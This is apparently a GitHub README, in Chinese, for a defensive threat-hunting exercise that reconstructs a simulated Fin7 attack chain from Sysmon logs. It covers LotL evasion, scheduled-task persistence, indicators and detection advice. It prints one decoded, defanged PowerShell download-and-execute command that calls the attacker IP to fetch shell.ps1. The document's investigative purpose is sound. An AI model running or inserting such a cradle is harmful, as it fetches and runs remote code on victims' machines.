0xUthman44/fin7-threat-hunt-sysmon
GitHub: 0xUthman44/fin7-threat-hunt-sysmon
一个基于 Sysmon 日志的威胁狩猎项目,用于还原 Fin7 攻击链并定位手动分析场景中的隐蔽妥协行为。
Stars: 0 | Forks: 0
🔍 Fin7 威胁狩猎——Sysmon 日志分析
📌 概述
本项目模拟了一次真实的 SOC 调查,其中威胁情报告警标记了与已知恶意 IP(**192.168.10.45**)的通信,该 IP 与 Fin7 活动相关。
尽管触发了告警,但 EDR 未采取任何行动,因此需要通过手动日志分析来揭露攻击。
🎯 目标
- 识别初始入侵点
- 检测持久化机制
- 分析攻击者载荷与意图
🛠️ 使用的工具
- Visual Studio Code(JSON 查看器)
- CyberChef(Base64 解码)
- Sysmon 日志
🔬 调查过程
🔹 步骤 1:日志准备
Sysmon JSON 数据集最初被压缩。
使用 VS Code 格式化以提高可读性并支持有效分析。
🔹 步骤 2:识别可疑网络活动
通过搜索功能定位恶意 IP:
- **IP 地址:** 192.168.10.45
- **端口:** 80(HTTP)
- **事件类型:** NetworkConnection(事件 ID 3)
这揭示了一个系统进程向已知恶意端点发起的出站连接。
🔹 步骤 3:防御规避技术
攻击者通过使用 **Living-off-the-Land(LotL)** 技术来规避检测,利用合法的系统二进制文件。
- 使用可信工具降低杀毒软件检测概率
- 活动与正常系统操作混合
🔹 步骤 4:持久化机制
持久化通过 **Windows 计划任务** 使用 `schtasks.exe` 建立。
- 任务配置为每 **30 分钟** 运行一次
- 确保在重启后继续执行
🔹 步骤 5:PowerShell 载荷(混淆)
通过 Base64 编码识别出一个可疑的 PowerShell 命令。
### 🔓 解码后的载荷
powershell
IEX (New-Object Net.WebClient).DownloadString ('h[t][t][p]192[.]168[.]10[.]45/shell.ps1')
🔍 载荷分析
解码后的命令显示:
- 使用 IEX(Invoke-Expression)在内存中执行代码
- 从恶意服务器检索远程脚本
- 可能执行额外载荷
🔗 攻击链总结
可疑进程发起出站 HTTP 连接
与恶意 IP(192.168.10.45)建立通信
通过计划任务(schtasks.exe)创建持久化
PowerShell 执行编码命令
远程载荷被下载并执行
👉 此行为强烈表明命令与控制(C2)活动及系统持久化妥协。
⚠️ 妥协指标(IOCs)
- IP 地址:192.168.10.45
- 协议:HTTP(端口 80)
- 技术:Base64 编码的 PowerShell 执行
- 持久化:计划任务(schtasks.exe)
- 载荷:远程脚本执行
🛡️ 检测与缓解建议
- 监控发往可疑 IP 的出站流量
- 对使用 -EncodedCommand 的 PowerShell 触发告警
- 检测 schtasks.exe 的异常使用
- 实施应用程序白名单
- 加强进程创建事件的日志记录
标签:APT, Base64解码, CyberChef, EDR, Fin7, HTTP通信, IOC, IPv6, IP 地址批量处理, Living-off-the-Land, PowerShell, Sysmon, Visual Studio Code, 事件ID 3, 恶意IP, 脆弱性评估, 计划任务